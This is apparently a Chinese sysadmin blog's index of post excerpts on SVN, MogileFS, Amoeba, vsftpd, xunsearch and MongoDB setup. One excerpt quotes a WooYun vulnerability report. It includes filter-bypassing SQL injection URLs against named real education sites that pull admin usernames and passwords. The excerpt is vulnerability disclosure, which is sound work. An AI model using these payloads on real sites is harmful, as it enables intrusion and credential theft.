建立svn并自动到发布到web目录【存档】

编译安装svnserver ./configure –prefix=/data/app/svn –without-berkeley-db make & make install 建立svnserver的配置目录 mkdir /data/app/svn/conf 手工建立三个配置文件: svnserve.conf svn服务器配置 [general] anon-access = none auth-access = write password-db = passwd authz-db = authz authz 项目配置 [yjxj2012:/] soft456 = rw wp1998… 继续阅读 建立svn并自动到发布到web目录【存档】

试用 xunsearch 全文检索

近几天一直在测试sphinx/coreseek的分词和全文检索的解决方案,sphinx应用的案例比较多,它所提供的接口也比较丰富。昨日接触了一下xunsearch,有点眼前一亮的感觉,相比前者虽然目前只提供php sdk的使用,但是在使用上更友好,文档更规范,从应用上更加减少了开发成本。 xunsearch是SCWS延伸的一个项目,SCWS基于php的分词还是以前在写小项目中使用过,xunsearch也是最近正式发布的,也希望能延续下去。 其官网 www.xunsearch.com 上的文档很详细,安装也做得比较傻瓜,使用前可以浏览看看。 以这个WP的mysql为基础做了一个全文检索的范例: … 继续阅读 试用 xunsearch 全文检索

Amoeba for Mysql试用所感

Amoeba for Mysql是一个类似于mysql-proxy国人开发的开源项目,主要功能是数据库代理,项目地址:http://sourceforge.net/projects/amoeba/ 于mysql-proxy最大的不同是其配置文件简单,很容易就能实现读写分离、数据分片和主从备份,在测试环境下做了几种应用的测试,主要是Mysql的数据分片和读写分离。 具体步骤在文档中已经很详细了(http://docs.hexnova.com/amoeba/),下面是一些个人感受: 1、使用水平分片和原始mysql操作还是有很多不一样的,在insert操作的时候,必须指明分片key对应的字段,否则… 继续阅读 Amoeba for Mysql试用所感

没想到wooyun.org上榜被抓sql inject

漏洞编号:WooYun-2012-04939 详细说明: 因其中简单过滤括号和空格,导致可以绕过过滤进行注入。比如随便在教育厅主页打开几个网站测试。 主站:http://gov.e21.cn/school_show.php?college_id=96+/*!and*/+1=2+/*!uNioN*/+/*!seLecT*/+1,user_name,3,4,user_pwd,6,7,8,9,10,11,12,13,14+/*!from*/+admin 高中课改网:http://gzkg.e21.cn/content.php?id=1253+/*!aND*/1=2+/*!uNion*/+/*!sel… 继续阅读 没想到wooyun.org上榜被抓sql inject

给mogileFS增加memcache遇到的

主要参考扶凯的这篇文章《MogileFS 设置 Memcached》 先设置tracker # mogadm settings set memcache_servers 27.17.28.134:22222 然后安装Cache::Memcached这个模块 # cpanm Cache::Memcached 重启tracker之后通过命令来查询key看看: # mogfileinfo –domain=test1 –key=’nginx-1.0.14.tar.gz’ – file: nginx-1.0.14.tar.gz class: default devcount: 2 domai… 继续阅读 给mogileFS增加memcache遇到的

测试MogileFS的PHP模块上传遇到的

在nginx/php-cgi上试试最简单的mogileFS的php模块上传操作,总是报502的错误,查看php-fpm的日志发现提示undefined symbol: ne_set_connect_timeout错误,ne_set_connect_timeout未定义。 查看php的mogilefs扩展到源码mogilefs.c源码发现。该扩展引用了: #include <ne_socket.h> #include <ne_session.h> #include <ne_utils.h> #include <ne_auth.h> #include… 继续阅读 测试MogileFS的PHP模块上传遇到的

为vsftpd增加虚拟用户的mysql验证【存档】

一个客户有这个需求,已有个vsftpd server,应用需要给web用户每人配置一个ftp帐号,而且要锁定到不同的用户目录,应该是通过pam for mysql进行认证,在网上找了下资料做了,过程如下。 一、增加映射用户 增加一个系统用户,所有虚拟帐号都用此映射用户身份登录,而且虚拟帐号的目录都锁定到此映射帐号目录下。 bash# useradd ftpguest -s /sbin/nologin bash# chmod 755 /home/vsftpdguest 二、配置Mysql 因为mysql已经编译安装过了现成的,和vsftpd在一台服务器,所以只需要建用户建表而已 mysql&gt… 继续阅读 为vsftpd增加虚拟用户的mysql验证【存档】

MogileFS for PHP安装和测试(存档)

MogileFS是一个perl编写的分布式文件存储应用,目前有一些线上的公司都是以此为基础来构建自己的分布式文件应用,抽时间测试了一下。 一、搭建MogileFS 关于MogileFS在扶凯的网站(http://www.php-oa.com/2010/09/26/perl-mogilefs-1.html)上有很详细的介绍,关于安装搭建我也只是简单描述。 Mysql server:27.17.28.133:3306 MogileFS trackers:27.17.28.133:7777 MogileFS store1:node134  27.17.28.134:7500 MogileF… 继续阅读 MogileFS for PHP安装和测试(存档)

配置php/mongoDB开发环境(存档)

因开发需求需要配置mongoDB for PHP的环境,简单如下: 下载MongoDB:http://www.mongodb.org/downloads 版本很多,下载的linux 32位二进制版本 解压以后直接运行,启动: bash# /data/app/mongodb/bin/mongod –dbpath /data/app/mongodb/db –journal –logpath /data/app/mongodb/logs/db.log –fork –rest 下载mongo for php driver:https://github.com/mongod… 继续阅读 配置php/mongoDB开发环境(存档)